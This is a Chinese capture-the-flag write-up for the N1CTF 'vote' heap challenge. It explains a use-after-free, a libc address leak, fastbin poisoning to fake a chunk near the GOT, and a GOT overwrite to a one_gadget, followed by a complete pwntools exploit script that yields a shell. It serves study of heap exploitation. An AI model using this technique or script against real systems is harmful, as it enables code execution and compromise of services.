N1CTF 塞题vote分析:这个题是一个uaf的漏洞题,我们先看看漏洞(如下图),这两部分是很明显的对比的啊。当单独的一个count数组的数据和堆里的数据相同时候,就会释放堆,堆释放后的count还会有指针指向这块内存,释放后我们能够(通过vote)修改数据,典型的uaf。那么我们修改构造(fd)的数据时候,下次申请特定地址的内存的时候,就可以对特定内存进行修改的。

  

这里的sleep()函数,pthread_create每次调用,都会sleep3秒,所以用脚本vote和cancel的时候总是导致无法触发uaf,调试时候需要在脚本中用time.sleep(3)来完成。

    

count数组的数值和堆里的fd数值保持一致。

  

  

我们先来看几个函数,虽然不一定是核心函数,但可以增长知识哈:

void *memset(void *s, int ch, size_t n);
函数解释:将s中当前位置后面的n个字节 (typedef unsigned int size_t )用 ch 替换并返回 s 。

memset:作用是在一段内存块中填充某个给定的值,它是对较大的结构体或数组进行清零操作的一种最快方法

解题过程:

结构体:

{
        long int count  (malloc data)
        long int time    (malloc data+8)
        char name        (malloc data+16)        
    }

  

三个位置分别为count,time,name。

构造伪堆,主要构造size和fd的数据:

  

 具体利用过程:

  一、leak地址:

  通过申请0x80(+0x20的堆头)的堆,释放成unsortbins,成双向链表,fd和bk指向main_arena+88,在通过与libc的偏移计算出libc。

  

二、构造伪堆:

构造好了伪造的fd之后,如果直接用pthread的地址做伪堆的地址话,会由于size检查导致分配失败。 哦,对了申请了两次伪堆,第一次是为了填充到我们的got表的地址而申请的,方法是在堆的24字节之后伪造堆,第二次是直接向共同表写入数据。 

  

那么我们来找合适的size

找到合适的size了(如下图),我们需要构造了伪堆的位置就是0x601ffa了。

成功修改了got的地址为我们的one_gadget的地址了,下面就是执行vote,触发one_gadget执行了。

利用思路总结:

1.首先leak出libc的地址,通过unsorted bin泄露出其中fd(count)的数据,即是main_arena +88,然后通过偏移计算libc的地址。

2.通过修改fastbin的fd,构造伪堆,伪堆在got_pthread的附近,然后写入数据,修改got_pthread为one_gadget的地址。

3.通过vote函数,触发pthread函数,即执行了one_gadget的命令。

exp如下:

  1 #!/usr/bin/env python
  2 from pwn import*
  3 import time
  4
  5 local =1
  6 debug = 1
  7
  8 if local:
  9     p = process('./vote')
 10
 11 else:
 12     p = remote("127.0.0.1",8080)
 13
 14 #context.log_level = 'debug'
 15
 16 def create(num,name):
 17     p.recvuntil("Action:")
 18     p.sendline("0")
 19     p.recvuntil("Please enter the name's size:")
 20     p.sendline(str(num))
 21     p.recvuntil("Please enter the name: ")
 22     p.sendline(name)
 23
 24 def show(num):
 25     p.recvuntil("Action:")
 26     p.sendline("1")
 27     p.recvuntil("Please enter the index:")
 28     p.sendline(str(num))
 29
 30 def vote(num):
 31     p.recvuntil("Action:")
 32     p.sendline("2")
 33     p.recvuntil("Please enter the index:")
 34     p.sendline(str(num))
 35
 36 def cancel(num):
 37     p.recvuntil("Action:")
 38     p.sendline("4")
 39     p.recvuntil("Please enter the index:")
 40     p.sendline(str(num))
 41 def result():
 42     p.recvuntil("Action:")
 43     p.sendline("3")
 44
 45 def add(num,i):
 46     for i in range(0,i):
 47         vote(str(num))
 48
 49 #---------------leak addr----------------------------
 50
 51 libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 52 ppp = libc.symbols['write']
 53 print "write=",hex(ppp)
 54
 55 #print "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHH"
 56 #raw_input()
 57
 58
 59 create(0x80,"AAAA")
 60 create(0x80,"BBBB")
 61 cancel(0)
 62
 63 #add(0,16)
 64 #vote(0)
 65 #time.sleep(4)
 66 show(0)
 67
 68 p.recvuntil("count:")
 69 main_arena = p.recv(16)
 70 #main_arena = p.read(15)
 71 print"main_arena =",str(main_arena)
 72
 73 libc_addr = int(main_arena)-0x3c4b78
 74 one = libc_addr + 0x4526a
 75
 76 print "libc_addr=",hex(libc_addr)
 77 print "one=",hex(one)
 78
 79
 80
 81 #time.sleep(5)
 82
 83 #---------------fake heap----------------------------
 84 #add(0,16)
 85 got_pthread = 0x601ffa #0x602020
 86 print "got_pthread:",hex(got_pthread)
 87
 88 payload = p64(0x60)+p64(got_pthread) +p64(0xabcdef)
 89
 90 create(0x40,payload)
 91 create(0x40,"DDDD")
 92
 93 cancel(2)
 94 cancel(3)
 95
 96 add(3,24)
 97 create(0x40,"FF")
 98
 99 #---------------shellcode----------------------------
100
101 #write = libc_addr +0x3da490
102 write = libc_addr +libc.symbols['write']
103 #strlen = libc_addr +0x8b720
104 strlen = libc_addr +libc.symbols['strlen']
105 shellcode =  "AAAAAA"+ p64(one) + p64(write) + p64(strlen)
106 #shellcode = "AAAAAA"
107
108 create(0x40,"GG")
109
110 create(0x40,shellcode)
111
112 vote(0)
113
114
115 #gdb.attach(p)
116 p.interactive()

转载于:https://www.cnblogs.com/Yable/p/8824590.html

N1CTF 塞题vote分析相关推荐

  1. 宿舍管理系统项目管理师_2020下半年信息系统项目管理师真题——案例分析(带解析)...

    2020下半年信息系统项目管理师真题--案例分析(带解析~强哥版) 案例分析这次继续是计算题+分析题的分布,但这个题由于理解上有歧义,所以也是大家经常争论的一个题,但无论第一列还是第二列对考分影响不会 ...

  2. Python小白的数学建模课-A1.国赛赛题类型分析

    分析赛题类型,才能有的放矢. 评论区留下邮箱地址,送你国奖论文分析 『Python小白的数学建模课 @ Youcans』 带你从数模小白成为国赛达人. 1. 数模竞赛国赛 A题类型分析 年份 题目 要 ...

  3. 一道经典极限题的分析与求解

    一道经典极限题的分析与求解 题目 lim⁡x→∞ex(1+1x)x2\lim_{x\to \infty}\frac{\mathrm{e}^x}{(1+\frac1x)^{x^2}} x→∞lim​(1 ...

  4. 分析编程题c语言,二级C语言部分上机编程题详细分析

    <二级C语言部分上机编程题详细分析>由会员分享,可在线阅读,更多相关<二级C语言部分上机编程题详细分析(6页珍藏版)>请在人人文库网上搜索. 1.二级C语言部分上机编程题详细分 ...

  5. 第十八篇:针对2022年网络系统管理赛项国赛样题的分析与思考

    基于2022年网络系统管理赛项国赛样题的分析与思考 文章目录 基于2022年网络系统管理赛项国赛样题的分析与思考 摘要: 一.模块及分值 二.赛题环境优化与更新 三.Linux模块需掌握技能 四.20 ...

  6. 2019年国赛高教杯数学建模E题薄利多销分析解题全过程文档及程序

    2019年国赛高教杯数学建模 E题 薄利多销分析 原题再现   "薄利多销"是通过降低单位商品的利润来增加销售数量,从而使商家获得更多盈利的一种扩大销售的策略.对于需求富有弹性的商 ...

  7. 2019年高教社杯全国大学生数学建模竞赛题目 E题 “薄利多销”分析

    E题 "薄利多销"分析 "薄利多销"是通过降低单位商品的利润来增加销售数量,从而使商家获得更多盈利的一种扩大销售的策略.对于需求富有弹性的商品来说,当该商品的价 ...

  8. 2023美赛赛题思路分析

    占个位置吧,开始在本帖实时更新赛题思路代码,文章末尾即可获取! 2023美赛赛题初步分析 A题:受干旱破坏的植物群落 A题是一个植物群落的环境问题,涉及到预测.评估分析,该题难度较大,我们可以考虑通过 ...

  9. 第十一届蓝桥杯省赛真题——单词分析

    第十一届蓝桥杯省赛真题--单词分析 单词分析: [问题描述] 小蓝正在学习一门神奇的语言,这门语言中的单词都是由小写英文字母组成,有些单词很长,远远超过正常英文单词的长度. 小蓝学了很长时间也记不住一 ...

最新文章

  1. 手机贷服务器维护升级,手机贷服务器升级
  2. linux iptables扩展,脚本防火墙
  3. C++11正则表达式例子集合
  4. oracle acfs snap 恢复,删除ACFS系统碰到的问题
  5. 萝卜视频源码前后端带视频演示更换播放内核到3.2.6
  6. OAuth2.0 微信授权机制
  7. 如何制定个人理财计划_如何根据经济状况做个人投资理财计划?
  8. Cmake :创建vs的makefile工程(1)
  9. 【无标题】计算机网络故障诊断与排除习题集题库及答案
  10. element UI 学习
  11. 5G网速真的有理论上那么高吗?
  12. 【计算机网络-带宽与吞吐量】
  13. Nginx文件代理配置
  14. Soul网关Hystrix插件相关知识点扫盲
  15. 设计原则与思想:设计原则12讲
  16. 弗洛伊德算法c语言path,Floyd算法(弗洛伊德算法)
  17. APICloud联合腾讯云推出“云主机解决方案“,各种福利等你拿
  18. c语言的移位,C语言移位算符
  19. 常见的风险欺诈方式(仅供参考,未完待续)
  20. 路由器当做网页服务器,路由器为什么不可以做服务器?

热门文章

  1. html table vtop,PART2HTML语言.doc
  2. mysql触发器生成流水_利用mysql触发器生成流水号
  3. 子窗体中组合框联动_一张表实现组合框联动
  4. 在notepad++中配置java编译环境
  5. leetcode124. 二叉树中的最大路径和
  6. python基础技巧总结(五)
  7. ubuntu的apache配置https
  8. 剑指offer_04
  9. kaggle(02)-房价预测案例(基础版)
  10. 推荐16款最棒的Visual Studio插件